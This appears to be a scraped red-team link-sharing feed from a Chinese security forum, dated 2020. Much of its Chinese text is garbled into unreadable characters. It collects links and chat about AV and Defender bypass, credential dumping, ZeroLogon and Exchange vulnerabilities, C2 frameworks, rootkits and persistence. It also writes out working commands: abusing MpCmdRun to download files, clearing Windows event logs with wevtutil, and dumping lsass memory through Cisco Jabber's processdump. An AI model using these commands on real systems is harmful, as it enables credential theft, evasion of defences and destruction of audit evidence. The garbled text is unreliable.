Ⴝ᭐ದૣ
Windowsӥᕰᬦdisable_function
T00LS+|+֗᧣࿢ݎ઀+-+ᄟஞԟਞق  

RedTeaming - 2020-08-24 

RedTeaming - 2020-08-25 

https://blog.rapid7.com/2020/08/07/metasploit-wrap-up-76/
https://blog.rapid7.com/2020/08/06/metasploit-6-now-under-active-development/
https://github.com/b4rtik/SharpKatz
https://www.bilibili.com/video/av413129060?p=4
https://github.com/infosecn1nja/SharpDoor
https://www.t00ls.net/thread-57591-1-1.html


#᠗ᴚᎥᴣ#  
Active+Defense+Matrix

#Android#  
Usage+CN+·+refate/frider+Wiki+·+GitHub

ሿࣁᛔۖ۸᩼๶᩼ሕ

#ᕁᴚದૣ#  

MySQLᢸᗐ឴ݐධڋᘏஙמID

#Ⴝ᭐ૡٍ#  
ᘌᇇ๜ጱmysqlձ఺෈կ᧛ݐ๐ۓᒒ։᭜ૡٍӧॡঅአ҅360ጱᮎӻԞঅአ҅ᬯӻڟ፡̶ک

GitHub+-+ev0A/Mysqlist:+Mysql+Serverᒒ։᭜-ձ఺෈կ᧛ݐ-CTF...

z3r0yu: 360 ᮎӻฎߺӻҘ

#ᏦᏦஷ#  
go get github.com/mitchellh/gox

ӞᲫᖫᦲ౮ݱӻଘݣጱᇇ๜ 

RedTeaming - 2020-08-26 

RedTeaming - 2020-08-26 

RedTeaming - 2020-08-26 

RedTeaming - 2020-08-26 

RedTeaming - 2020-08-27 

https://shield.mitre.org/matrix/
https://github.com/refate/frider/wiki/Usage-CN
https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg
https://github.com/ev0A/Mysqlist


gox -h

CoolCat: go mod ԞᚆӞᲫᥴறఴ
L: ᧔ӻӶՈጱԪఘ҅go ਞӻᒫӣො۱̶൥ԧӷӻग़ੜ෸ goland ྒၚے᫹ӧک [ഉ᚜]
Wing: go ᇇ๜܋ᕆ14 ک զӤ҅ᆐݸአ go mod ᓕቘ̶ӧᆐӞᛱᶱፓ᮷஑නک src ᮎӻፓ୯᯾ᶎ̶
L: ౯இտᦶᦶ (

#ᏦᏦஷ#  
go get github.com/mitchellh/gox

ӞᲫᖫᦲ౮ݱӻଘݣጱᇇ๜ 
gox -h

RedTeaming - 2020-08-27 



CoolCat: go mod ԞᚆӞᲫᥴறఴ
L: ᧔ӻӶՈጱԪఘ҅go ਞӻᒫӣො۱̶൥ԧӷӻग़ੜ෸ goland ྒၚے᫹ӧک [ഉ᚜]
Wing: go ᇇ๜܋ᕆ14 ک զӤ҅ᆐݸአ go mod ᓕቘ̶ӧᆐӞᛱᶱፓ᮷஑නک src ᮎӻፓ୯᯾ᶎ̶
L: ౯இտᦶᦶ (

#क़ᗑႽ᭐ದૣ#  

Dockerᄋ၏ጱ௛ᕮ,๶რ:Bypass
GitHub+-+Bypass007/Learn-security-from-0:+՗0୏ত਍ਞ҅ق...

#क़ᗑႽ᭐ದૣ#  
౯ӤེጱBurpSuite2020.8ጱMacᇇ๜

#ٖᗑႽ᭐ದૣ#  
SCshell ದ๞ᕡᜓ

̓Ⴝ᭐ದૣ̈́SCshell+ದ๞ᕡᜓ+|+RcoIlጱᑾ

RedTeaming - 2020-08-28 

RedTeaming - 2020-08-28 

RedTeaming - 2020-08-28 

https://github.com/Bypass007/Learn-security-from-0
https://rcoil.me/2019/12/%E3%80%90%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7%E3%80%91SCshell%20%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82/


#ᏦᏦஷ#  
.NET5Ꭳग़੝?
.NET+5+Preview+1ጱႮଶᥴ᧛޾᪙ᬰ+-+Eric+zhou+-+ܗਮࢮ

#ᏦᏦஷ#  
๶ਞڥӞԶGoٟጱಚൈଘݣҘ

᤼ᤓߵ: ౯ᭌೠಋۖ [඄ࢀ]
z3r0yu: kunpengҘ
Wing: ᬯӻฎ໛ຝ҅౯మತړ૲ୗጱ̶

#ٖᗑႽ᭐ದૣ#  
httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne

z3r0yu: httpx ౯ࣁአጱ෸ײդቘᬰٖᗑဌݍଫ҅୮෸ဌٍ֛፡Ջԍܻݸ๋҅ࢩᬮฎአᛔ૩ඓጱᚕ๜൥ਧԧ

#क़ᗑႽ᭐ದૣ#  

̓ದ๞ᔜᭌ̈́fastjsonݍଧ۸ڜᄋ၏ෆቘ

#ٖᗑႽ᭐ದૣ#  
᩸դቘጱ෸ײୌᦓԟబ௔ጱےӻੂᎱ

๋অአጱٖᗑᑯ᭐ૡٍݳᵞ

yuhao: Neo-reGeorg ᛔଃ key ᬮݢզ

#ٖᗑႽ᭐ૡٍ#  
GitHub+-+lz520520/railgun

ಚٖᗑ೰ᕖӧᲙ

#ၨᥦੂ࢏Ꮁಬݐ#  
դ๊lazagneጱૡٍ
GitHub+-+moonD4rk/HackBrowserData:+Decrypt+passwor...

RedTeaming - 2020-08-28 

RedTeaming - 2020-08-28 

RedTeaming - 2020-08-30 

RedTeaming - 2020-08-31 

RedTeaming - 2020-08-31 

RedTeaming - 2020-08-31 

RedTeaming - 2020-08-31 

https://www.cnblogs.com/tianqing/p/12555235.html
https://mp.weixin.qq.com/s/eWPk6EW0vhx6LDdKeCqYeQ
https://mp.weixin.qq.com/s/1B1_eYakY9unA65tHKRz9Q
https://github.com/lz520520/railgun
https://github.com/moonD4rk/HackBrowserData


#क़ᗑႽ᭐ದૣ#  
Ⴝ᭐ᬀۗૡٍൊկ.੪ฎ಩ଉአጱ޸եᵞ౮کၨᥦ࢏ൊկ᯾ᶎ.ᬯӻݢզ.፡౯กॠெԍṹද՜.
https://github.com/LasCC/Hack-Tools/releases

ᘌౡՈԧ

᤼ᤓߵ: තᡐԧ
Patrilic: ൾṺᦇښ
Black cher*: ݭ

#๤ع#  #ᕁᴚದૣ#  

Msfᕰᬦ๤᫫

https://medium.com/securebit/bypassing-av-through-...

RedTeaming - 2020-08-31 

RedTeaming - 2020-09-01 

https://github.com/LasCC/Hack-Tools/releases
https://medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe55e3e0c8


᤼ᤓߵ: ፗളᖫᦲ loader
lengyi: ᬦپॠ֌ᦇ੪ GG ԧ҅ླᒌӤԧ VT

#ᴠሌࡌᵰ#  
ᅩ୏ᒫԫӻಬ۱፡፡?

क़ᗑႽ᭐ದૣ
ᡵڻJspӞݙᦾ҅ඪ೮ٖਂḘ̶ݢզ፡ӥ՜ጱٌ՜ᶱፓ̶

GitHub+-+yzddmr6/JspForAntSword:+ӾࢵᡵڻJSPӞݙᦾPayload

Malleable-C2-Profilesᯈᗝ

አڥ۸࢏ྎ-ᬰᑕս۸خؒ
http://8sec.cc/index.php/archives/419/

123qweasd1111111

RedTeaming - 2020-09-01 

RedTeaming - 2020-09-02 

RedTeaming - 2020-09-02 

RedTeaming - 2020-09-02 

https://github.com/yzddmr6/JspForAntSword
https://mp.weixin.qq.com/s/d-ypGfoevjOz-VP0-dIVRg
http://8sec.cc/index.php/archives/419/


#ἓຎರᚸᦕ#

Wing: य़Ӟጱ෸ײਞᅨԧ๋҅80 ݸ ࣘ᰸ತႣਪਞ̶
Evi1oX: ֦ᬯᬮӧᓒ᪴ࣗ҅ࣗय़ग़ࣁ DSDT ޾ SSDT, ๋ݎݸሿํᬯ෸ᳵᬮӧইԣӻ )

L: ဌ᰸҅Ӿ֗ᯈӧইἓ᝘ຎ̶ṛᯈӤ w ԣӧ᩸҅౯ᥝํ᰸౯෱ԣԧ̶ݢఠ౯ӧฎݸၵ *

You can use C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe -url -path to download your file using Windows defender itself.

RedTeaming - 2020-09-03 

RedTeaming - 2020-09-03 



᤼ᤓߵ: ํጱᇇ๜౮ۑԧ҅ํጱဌํ҅๚୏ސ wd ᬯӻ mpcmdrun ӧٚ programdata Ӿٌࣁ՜෈կ४
lengyi: ฎጱ
L: Defender ىԧฎӧฎӧᚆ౮ۑ [඄ࢀ]
᤼ᤓߵ: অ؟ฎᇙਧᇇ๜಍ᚆ᥶ࣁਂ҅ݎጱঅ؟᮷ݢզ

#๤ದૣع#  
ෆᮎԍग़ᜰ᯾ᙲ߸ጱ,ፗളےӻॎ.
Release+ConfuserEx+1.4.1+·+mkaring/ConfuserEx+·+Gi...

RedTeaming - 2020-09-03 

https://github.com/mkaring/ConfuserEx/releases/tag/v1.4.1


᤼ᤓߵ: ᩦᳪᮎӻ֦ᬩᤈӥ [ጽ፠]҅ᅉᕭᩦ޾ᳪᶉா᮷Ӟᛱےॎঅᬦ҅360 ฎےॎ੪ᤩ๤
᤼ᤓߵ: ݄ᕳ౯ړՁጱᮎӻᅩӻᩩ +

Wing: ؒخᬰᑕᮎӻҘ
᤼ᤓߵ: ฎࠡ
crazyman: ᬯӻӧᓒॎࠡ
Wing: ݍྋ౯፡ӧ౜ (◎_◎;)
᤼ᤓߵ: ౯ӧᓕ౯ӧᓕ [๢ฬ]
H01k: ᓒࠡ

#๤ದૣع#  
ෆᮎԍग़ᜰ᯾ᙲ߸ጱ,ፗളےӻॎ.
Release+ConfuserEx+1.4.1+·+mkaring/ConfuserEx+·+Gi...

RedTeaming - 2020-09-03 

https://github.com/mkaring/ConfuserEx/releases/tag/v1.4.1




᤼ᤓߵ: ᩦᳪᮎӻ֦ᬩᤈӥ [ጽ፠]҅ᅉᕭᩦ޾ᳪᶉா᮷Ӟᛱےॎঅᬦ҅360 ฎےॎ੪ᤩ๤
᤼ᤓߵ: ݄ᕳ౯ړՁጱᮎӻᅩӻᩩ +

Wing: ؒخᬰᑕᮎӻҘ
᤼ᤓߵ: ฎࠡ
crazyman: ᬯӻӧᓒॎࠡ
Wing: ݍྋ౯፡ӧ౜ (◎_◎;)
᤼ᤓߵ: ౯ӧᓕ౯ӧᓕ [๢ฬ]
H01k: ᓒࠡ

#๤ದૣع#  
ᇸᩊ404 Starጱᶱፓ,ӞԶॎጱෆቘ.
GitHub+-+NotPrab/.NET-Obfuscator:+Lists+of+.NET+Ob...

#क़ᗑႽ᭐ದૣ#  
ݣӣӻDNSLOGଘک፡ڟ
GitHub+-+Buzz2d0/Hyuga:+Hyuga+is+a+monitoring+tool...
DNSLOG.PRO+API
GitHub+-+chennqqi/godnslog:+An+exquisite+dns&http+...

౜ጱ᮷౜

Wing: ӧᎣ᭲ጭ୯ੂᎱጱᛔ૩፡რᎱ

#क़ᗑႽ᭐ದૣ#  
ᕡහ redis ጱپᐿ getshell ොဩ

RedTeaming - 2020-09-03 

RedTeaming - 2020-09-04 

RedTeaming - 2020-09-04 

https://github.com/NotPrab/.NET-Obfuscator
https://github.com/Buzz2d0/Hyuga
https://dnslog.pro/api.php
https://github.com/chennqqi/godnslog


ᕡහ+redis+ጱپᐿ+getshell+ොဩ+-+ၠ᠗+'s+blog

#෭ଉದૣ#  
zshӥgitጱӞԶளഠ೰ե
gcl
gaa
ga
gcm
zsh+ӥ+git+ݷڦҁalias҂+޾+oh-my-zsh+git+ൊկጱඳԪ+-+hello,...

හਁᓋݷጱଜᢩৼ(හਁᓋݷᮎԶԪ-2)-ங᫫ᦤԡᄋ၏ CVE-2020-0601ܻቘړຉӨ॔ሿ

හਁᓋݷጱଜᢩৼ(හਁᓋݷᮎԶԪ-2)-ங᫫ᦤԡᄋ၏+CVE-2020-0601ܻቘړຉӨ॔ሿ+-+...

ᐶව೯ᑀ̶ڡ௭୮ݝ

RedTeaming - 2020-09-04 

RedTeaming - 2020-09-04 

https://b1ue.cn/archives/318.html
https://segmentfault.com/a/1190000007059404
http://8sec.cc/index.php/archives/420/


᤼ᤓߵ: Ի֦ڊժಋ᯾ጱᩩ
Wing: ع๤ဌᳯ̶᷌މ
᤼ᤓߵ: ፡๤᫫҅
crazyman: ӧᤈ
lengyi: ع๤ӧᤈ҅౯ԏڹԞ൥ᬦᬯӻ
᤼ᤓߵ: [඄ࢀ][඄ࢀ] ํ෸ײᬮฎᓕአጱ҅஑፡๤᫫҅ࢵक़ጱच๜᮷ӧᤈ
lengyi: ᬯӻ஑ํࣁᄋ၏ጱ෸ײ಍ᓕአމ
᤼ᤓߵ: ੒ጱࠡ

ฌॠၥ MpCmdRun ጱᤒ҅ߵᬮঅމ [ഉ᚜]

crazyman: ᬯॡកԧ
Patrilic: ᒞ्ڊ

ᡵڻද᭜ᦇښԏඪ೮ٖਂḘ 
ဌՋԍದ๞ތᰁ҅ᦕ୯Ӟӥๅෛጱᕡᜓ

#ਞق୏ݎ#  
.Net Coreݣݸᚕಋຝ,ANTD,๋ḕጱڹᒒ໛ຝ.
GitHub+-+Coldairarrow/Colder.Admin.AntdVue:+Admin+...

#ਞق୏ݎ#  
਍ԧپॠReact,ਫݑࣁӧԧ,ᬮฎVueḕ.
਍reactԆᥝԞฎԅԧANTD,ࢩԅਥොጱ੪ฎReactᇇ๜,ඪ೮ጱྲ᫾ग़.
GitHub+-+iczer/vue-antd-admin:+ ,,+Ant+Design+Pro's+...

Bypass+Windows+Defender+Reverse+Shell

RedTeaming - 2020-09-04 

RedTeaming - 2020-09-06 

RedTeaming - 2020-09-06 

RedTeaming - 2020-09-06 

RedTeaming - 2020-09-06 

https://github.com/Coldairarrow/Colder.Admin.AntdVue
https://github.com/iczer/vue-antd-admin
https://mp.weixin.qq.com/s/dOsZRDNAw47g3xQMbLI89w


#ᕁᴚದૣ#  #ٖᗑႽ᭐#  

Lateral+MovementԏWMIԪկᦈᴅ

#ᄋ၏ڥአ#  
CVE-2020-16875: Microsoft ExchangeᬱᑕդᎱಗᤈᄋ၏᭗ޞ
9.1ጱᦧړ,ᨩ֒ݢզአᬦݎᭆᮒկ᥶ݎ.
CVE-2020-16875:+Microsoft+ExchangeᬱᑕդᎱಗᤈᄋ၏᭗360+-+ޞ...

-: ᥝฎํ exp ੪অԧ

#क़ᗑႽ᭐ದૣ#  
GitHub+-+j3ers3/Dirscan:+ --+ፓ୯ಚൈૡٍ+Dirscan+҅A+simpl...
౯ᥧ஑ᬮݢզ

z3r0yu: ఽᥧਁَᬮݢզ҅copy ᩳԧ

#windows 10 COM BUG#  
2051+-+project-zero+-+Project+Zero+-+Monorail

RedTeaming - 2020-09-06 

RedTeaming - 2020-09-09 

RedTeaming - 2020-09-09 

RedTeaming - 2020-09-09 

https://mp.weixin.qq.com/s/bb_pn1Gk3DUysZ536q77-w
https://cert.360.cn/warning/detail?id=b5e0e30d8a1f3652048a84017fb881b7
https://github.com/j3ers3/Dirscan
https://bugs.chromium.org/p/project-zero/issues/detail?id=2051




Wing: ౯զԅ౯॔ሿ०ᨳԧ҅ಸᲙ̶ԅࠨฎਟ٧
L: ӧᎣ᭲҅অ؟ᮎӻളڠݗୌጱአಁ੪ݞᬯӻ [ഉ᚜]
Wing: ᯩԧ̶౯զԅ౯ᮎݣᡦ೙๢๜๶੪ਂࣁӞӻݞਟ٧ጱአಁ̶
lengyi: exp ୏ݎӾ̶

#ٖᗑႽ᭐ದૣ#  

Windows+׍فደᭃႴቘದૣ

L: wevtutil ႴᴻԞฎݢզጱ <br>wevtutil cl System<br>wevtutil cl Application<br>wevtutil cl Security<br>wevtutil cl Setup

᫨ਁᒧԀᕰ๤᫫ݍ

ங᫫Exchange ServerᬱᑕդᎱಗᤈҁCVE-2020-16875҂

༄ၥฎࣁਂވᄋ၏ғ
GitHub+-+dpaulson45/HealthChecker:+Exchange+Server...

༄ၥ௏᪠ҁ෭ப҂ғ
Events ID 25552 (New-DlpPolicy) 
Exchange+Admin+Audit+Log+Event+ID+25552+-+New-DlpP...

Event ID 25546 ( mport-DlpPolicyTemplate)
Exchange+Admin+Audit+Log+Event+ID+25546+-+Import-D...

RedTeaming - 2020-09-09 

RedTeaming - 2020-09-10 

RedTeaming - 2020-09-12 

https://mp.weixin.qq.com/s/uX6Nt6bzGsDOLsRsaXgogg
https://mp.weixin.qq.com/s/zsqUc8YO99Y3EzgOIG9mNA
https://github.com/dpaulson45/HealthChecker
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=25552
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=25546


๶რғ
https://twitter.com/TomSellers/status/130412597100...

ದ๞ړຉғ
AttackerKB+|+CVE-2020-16875

#Ⴊ#  
ᡦ೙๢ᭈ᭥

ਞ௤ਞقᬩ០Ӿஞশᙢఘಸ௛ᕮ+DAY1

#ᄋ၏॔ሿ#  
CVE-2020-1472॔ሿ: CVE-2020-1472॔ሿ+|+ԜӮጱܗਮ

Wing: ሒሢ໘૪ᕪඪ೮ԧ

#ᄋ၏॔ሿ#  
CVE-2020-1472॔ሿ: CVE-2020-1472॔ሿ+|+ԜӮጱܗਮ

Wing: ሒሢ໘૪ᕪඪ೮ԧ

#ٖᗑᄋ၏ڥአ#  
CSᇇ๜ጱCVE-2020-1472

nccfsas/Tools/SharpZeroLogon+at+main+·+nccgroup/nc...

nccfsas/Tools/SharpZeroLogon+at+main+·+nccgroup/nc...

Tony: ፡ک cs ᇇ๜ጱ҅ӥ఺ᦩզԅฎ cobalt strike ൊկ҅಑୏Ӟӥฎ c#
Wing: execute-assembly

#ᏦᏦஷ#  

ᦕӞེੜშრ+-+ضᎣᐒ܄

ᐶᨏѺ

C404+Indictment+Reduced+Size

RedTeaming - 2020-09-13 

RedTeaming - 2020-09-16 

RedTeaming - 2020-09-16 

RedTeaming - 2020-09-16 

RedTeaming - 2020-09-17 

RedTeaming - 2020-09-17 

https://twitter.com/TomSellers/status/1304125971000446981
https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875?#rapid7-analysis
https://mp.weixin.qq.com/s/kvMtYtCX3LU5yus1Pc59Ww
https://422926799.github.io/posts/b2a3f021.html
https://422926799.github.io/posts/b2a3f021.html
https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
https://xz.aliyun.com/t/8300
http://www.documentcloud.org/documents/7209586-C404-Indictment-Reduced-Size.html


Wing: @404ጱោểஏ୞

ํဌํԫ୏ cobaltstrike ጱᩒාҘӶᅩ

ᬮဌӥቔޫ҅෭ ٚݸ᧔̶[෺ຸ]

మᳯ૵ؓժ ੒ԭ C2 ޾ MSF ই֜਍ԟ಍ฎ๋অጱොୗ 

ᬮํஉग़ӳᥜฎވᥝ᱂ᇍ᥯੠Ⴎᑪਙጱܻቘ 

զ݊ع๤҅ᵱᥝெԍ݄فᳪ҅ᵱᥝߺԶचᏐޫ

C2 ޾ msf ጱ਍ԟғ๜ࣈಋۖ൫ୌӞӻऒሾह҅ᦡᗝӣ੶ٖᗑ̶ᛗ੝כضᦤᚆड़ֵአ՜ժ಑ݸ๋کӞ੶ҁऒഴ҂

਍ԟ҅चᏐጱ੪݄ ired.team ਍ԟ̶ࣁ๤౯ᬮع๤ғṛᕆعԭى

౯ᥧ஑҅މձ֜Ոጱࢧᒼ᮷ဌࠨአ҅ग़቟ᐃ҅ଃ፳ํአጱᳯ݄᷌ᦎᦞ҅൉ᳯ̶

ֵአyaraᴠக௶఺᫫կ

#क़ᗑႽ᭐ದૣ#  

Shiro+ᕟկਞ༷قᥦ

#ᏦᏦஷ#  
಺ᶍݻ౴಍ᚆಅ֢ݶܐᴚࢫ

RedTeaming - 2020-09-17 

Question: 

Answer: 

RedTeaming - 2020-09-18 

Question: 

Answer: 

RedTeaming - 2020-09-23 

RedTeaming - 2020-09-24 

RedTeaming - 2020-09-25 

https://mp.weixin.qq.com/s/cyAzSUoUvSw3XrAqcQs0sw
https://mp.weixin.qq.com/s/NSEwb-K2NuhoFMVkVtFxDA


ᕁ᠗ධᴠਫ౴ᄍԟ॔ፏ௛ᕮҁᴫᚏࢶӥ᫹࣎ࣈ҂

ᕁᴚᵌᡐದૣ

ᕁᴚᵌᡐದૣ+-+᤼ᤓߵጱੜ੻

#Linux๦ᴴᖌ೮#  
SnakeᑲੂݐᎱ

RedTeaming - 2020-09-26 

RedTeaming - 2020-09-27 

https://mp.weixin.qq.com/s/fziXRNrWLzQhJJJNUnRS5Q
http://8sec.cc/index.php/archives/426/


#C2#  
ᬯӻਫ౴Ӿᬮဌአᬦ҅አᬦጱݶ਍ݢզݍḇӥපຎ޽໏̶Linuxᇇ๜ጱC2 Go᧍᥺ٟጱ୏რጱํঅپӻԧ̶໐ஞۑᚆ੪ฎᥝඪ೮s5/httpդቘ҅य़ਹݢզ੤ᦶአӞӥblueshell޾DeimosC2 ̶

ᅾᳪຄ᭛ӥ᫹/CrossC2

lengyi: ᬯӻඪ೮ mac҅ਞ҅ܓෛفےԧཞݻᑏۖ

RedTeaming - 2020-09-27 

https://gitee.com/mirrors_trending/CrossC2


#ᕁᴚྎ۸࢏Ꮈݎ#  
ইຎమٟᛔ૩ጱᛔۖ۸ૡٍጱᦾ҅ݢզ಩᯾ᶎጱڍහುᐶڊ๶አ҅ᘌॢٟդᎱ੪ฎ॔ګᔌᩂ̶
Environment
• CurrentUser.cs - the current user
• DomainName.cs - the domain name
• HostName.cs - the hostname
• LoggedOnUsers.cs - List all logged on users
• OSVersion.cs - OS version information
• VirtualEnvironment.cs - Checks if we are operating in a virtualised environment
• userEnvironmentVariables.cs - Grabs the environment variables applied to the current process
• SystemEnvironmentVariables.cs - Grabs system environment variables from the registry (HKLM)
• NameServers.cs - Gets the DNS servers for each network interface
Defences
• AVProcesses.cs - Checks if any known AV processes are running
………
………

GitHub+-+mdsecactivebreach/sitrep

#ٖᗑႽ᭐ದૣ#  #Go# #ݎ۸୏࢏ྎ#   
dumpၨᥦ࢏භఽמ௳

RedTeaming - 2020-09-27 

RedTeaming - 2020-09-29 

https://github.com/mdsecactivebreach/sitrep


Wing: ౯మ᧔౯ժྯӞӻՈߺॠᤩἓԧᛔ૩ᙗਧฎӧᎣ᭲ጱ҅๚Ꭳ๋ݢொ.

#क़ᗑႽ᭐ದૣ#  
. /

ຄᴴሾहCertutilےPowershellᯈݳBurpள᭛៧ࣈ෈կ

#ٖᗑႽ᭐ದૣ#  

ऒႽ᭐——ֵአMachineAccountਫሿDCSync

#ٖᗑႽ᭐ದૣ#  
Cisco Jabber dump lsass

cd c:\program files (x86)\cisco systems\cisco jabber\x64<br>processdump.exe (ps lsass).id c:\temp\lsass.dmp

RedTeaming - 2020-09-29 

RedTeaming - 2020-09-29 

RedTeaming - 2020-09-29 

RedTeaming - 2020-09-30 

CompatTelRunner.exe๦ᴴ൉܋#

https://mp.weixin.qq.com/s/f7sOjXjkbg3KFSJgXc1jPQ
https://mp.weixin.qq.com/s/DJ-ymALN3lvP43g7ZCgUFA


#ᏦᏦஷ#  
Docker Ⴔቘܣॊ

Docker+Ⴔቘܣॊ+|+knarfeh's+logbook

Rootkit+for+AppInit_DLLs+-+᤼ᤓߵጱੜ੻

Rootkit for AppInit_DLLs

ᘌӳᥜԧ҅੪ฎ๋ᬪ፡کr77-rootkitᎉԧ፲դᎱ҅C᯿ෛਫሿԧӥ̶

Wing: ᚆᬦ 360 ౯੪አ̶[෺ຸ]
᤼ᤓߵ: ౯ӧᓕ҅ݍྋ౯ᚆᬦ̶

Rootkit+for+AppInit_DLLs+-+᤼ᤓߵጱੜ੻

Rootkit for AppInit_DLLs

ᘌӳᥜԧ҅੪ฎ๋ᬪ፡کr77-rootkitᎉԧ፲դᎱ҅C᯿ෛਫሿԧӥ̶

Abusing+Windows+Telemetry+for+Persistence+|+Truste...  

RedTeaming - 2020-09-30 

RedTeaming - 2020-09-30 

RedTeaming - 2020-09-30 

https://knarfeh.com/2017/12/15/Docker%20%E6%B8%85%E7%90%86%E5%8D%AB%E5%A3%AB/
http://8sec.cc/index.php/archives/429/
http://8sec.cc/index.php/archives/429/
https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/?utm_content=131234033


Wing: ᚆᬦ 360 ౯੪አ̶[෺ຸ]
᤼ᤓߵ: ౯ӧᓕ҅ݍྋ౯ᚆᬦ̶

ଟࣈ٥଱ᓕቘᔮᕹ

Black cher*: ̶̶̶ํဌํᴡᳵጱᓕቘᔮᕹ

᫨ᛔகڻғ
᱾ളғhttps://pan.baidu.com/s/1q6HP29k007AK5fOWkb8Srg  
൉ݐᎱғKcG3

#BypassAV#  #ٖᗑႽ᭐ದૣ

RedTeaming - 2020-10-01 

RedTeaming - 2020-10-01 

RedTeaming - 2020-10-01 

http://www.youmingdifu.com/
https://pan.baidu.com/s/1q6HP29k007AK5fOWkb8Srg




ګݍአOPENVPNᯈᗝ෈կᬰᤈڥ

ਞقದ๞|ڥአOpenVpnᯈᗝ෈կګݍጱྎ۸࢏റᔱ+-+ضᎣᐒ܄

#ᛔۖ۸#  

GitHub+-+PaytmLabs/nerve:+NERVE+Continuous+Vulnera...

RedTeaming - 2020-10-01 

RedTeaming - 2020-10-03 

https://xz.aliyun.com/t/8289
https://github.com/PaytmLabs/nerve


#ᰜṺධڋ#  
ᛔۖ۸᭗ᬦunicode຅᭜ፘ֒ऒݢ҅ݷզ᭗ᬦvtັᧃᧆऒݷฎވᤩفے௶఺C2̶

uriDeep+-+Unicode+Encoding+Attacks+With+Machine+Le...

RedTeaming - 2020-10-03 

RedTeaming - 2020-10-03 

https://www.kitploit.com/2020/10/urideep-unicode-encoding-attacks-with.html?m=1


#CSTips#  #ٖᗑႽ᭐ದૣ#  

Cobalt+Strike+ᕰᬦၞᰁਭᦇ

Avᕰᬦ

Defeat+Bitdefender+total+security+using+windows+AP...

#๤ع#  #ٖᗑႽ᭐ದૣ#  

եොୗ௛ᕮ޸๤ದૣ-ಗᤈᔮᕹع

#ٖᗑႽ᭐ದૣ#  

MSSQLӞᐿෛጱDNSଃक़ጱොୗ

bypasuacᎸᑪғbypass+UACᎸᑪ+|+ԜӮጱܗਮ

#๤ع# #ݎ۸୏࢏ྎ#   
ᰒ੒WDጱᇙ஄Ꮁᛔۖᦩڦ
GitHub+-+rasta-mouse/ThreatCheck:+Identifies+the+b...

#क़ᗑႽ᭐ದૣ#  

RedTeaming - 2020-10-05 

RedTeaming - 2020-10-05 

RedTeaming - 2020-10-06 

windows 10 bypass UACದૣ#
https://swapcontext.blogspot.com/2020/10/uacme-35-...

๋፥ਫጱࢶ 

RedTeaming - 2020-10-08 

RedTeaming - 2020-10-08 

RedTeaming - 2020-10-09 

RedTeaming - 2020-10-09 

https://paper.seebug.org/1349/
https://shells.systems/defeat-bitdefender-total-security-using-windows-api-unhooking-to-perform-process-injection/
https://mp.weixin.qq.com/s?srcid=1004hhII5js44KEL9CgdRmEe&scene=23&sharer_sharetime=1601822770962&mid=2247485046&sharer_shareid=2bfea3a1914646ead630f87d9dbd3069&sn=51c98ac8f1e61a667ec3dfaf72155bfd&idx=1&__biz=Mzg2NjQ2NzU3Ng%3D%3D&chksm=ce4b2de1f93ca4f79ba561decfeee3514c1f43c5751832c8e5c1073d6dc8a0e582706b52741c&mpshare=1#rd
https://mp.weixin.qq.com/s/NtGJhYn3bL9YFmTqmdObVg
https://422926799.github.io/posts/70084607.html
https://github.com/rasta-mouse/ThreatCheck
https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html?m=1


sourmap ᬮܻ
GitHub+-+rarecoil/unwebpack-sourcemap:+Extract+unc...

#ᛔۖ۸#  
೰ᕖପ
GitHub+-+webanalyzer/rules:+᭗አጱ೰ᕖᦩڦᥢڞ

#ᏦᏦஷ#  
૶๕य़ਹၚ᪋ᦎᦞړ޾Ձ҅Ԇᥝฎᦎᦞ҅ړՁጱٚग़ӳᥜԞᵱᥝᚆड़ࣁਫ౴Ӿ֛ሿڊ๶಍ᤈ̶ၚ᪋ጱ૵ؓտ౮ԅࡱ਽̶

᤼ᤓߵ: Ԟ੪ฎᥝ಩௏᪠ړ޾Ձጱӳᥜྎ۸࢏
Wing: ྎ۸࢏ᥝ౮֛ᔮ҅ဌํࢫᴚ֢ܐտஉࢯᵙ̶
Wing: ᗌՋԍᥝڊڜ๶̶
᤼ᤓߵ: ਫሿکᵱᥝጱ෸ײ੪ᚆঅአᰒ੒ӧݶఘ٭ᚆड़ํአ
lengyi: ᬯᵱᥝ෸ᳵӨ֢ܐ

ӞԶ403bypassጱtips

HowToHunt/403Bypass.md+at+master+·+KathanP19/HowTo...

አๅදIAT๶ਫሿӞԶᕰᬦපຎ҅ྲইڥ౯Ԟአᬦᬯᐿොဩᕰᬦᬦwindows dedfender੒mimikatzጱັ๤҅ᮎԍᬯӻᶱፓԞ੪ฎڹ᯾ٌਫ੪૪ᕪ᧔ጱஉกጮԧ҅ԏߺ๤عmimikatzጱڹԏࣁአޫ҅ࠨሿԧӞӻྲ᫾অሻጱᶱፓ҅ๅදIATጱӞӻӳӳ҅ᬯӻӳᥜํݎ
౯ӥᶎጱֺৼ҅੪ฎӞӻचᏐጱᬰᑕဳ҅فᘒইᅉᕭᒵ҅᮷տັ๤ইCreateRemoteThreadԏᔄጱڍහ҅ᬯԞฎӞӻӧᲙጱᕰᬦොဩ̶

ᴫӤ࣎ࣈғGitHub+-+d35ha/CallObfuscator:+Obfuscate+specific+...

#ᕁᴚದૣ# #๤ع#   #bypassAV #  #Mimikatz#  

RedTeaming - 2020-10-10 

RedTeaming - 2020-10-11 

RedTeaming - 2020-10-13 

RedTeaming - 2020-10-14 

https://github.com/rarecoil/unwebpack-sourcemap
https://github.com/webanalyzer/rules
https://github.com/KathanP19/HowToHunt/blob/master/Status_Code_Bypass/403Bypass.md
https://github.com/d35ha/CallObfuscator








᤼ᤓݸ๋ :ߵӞࢶጱړຉૡٍฎՋԍࠡ [ޜݎ]
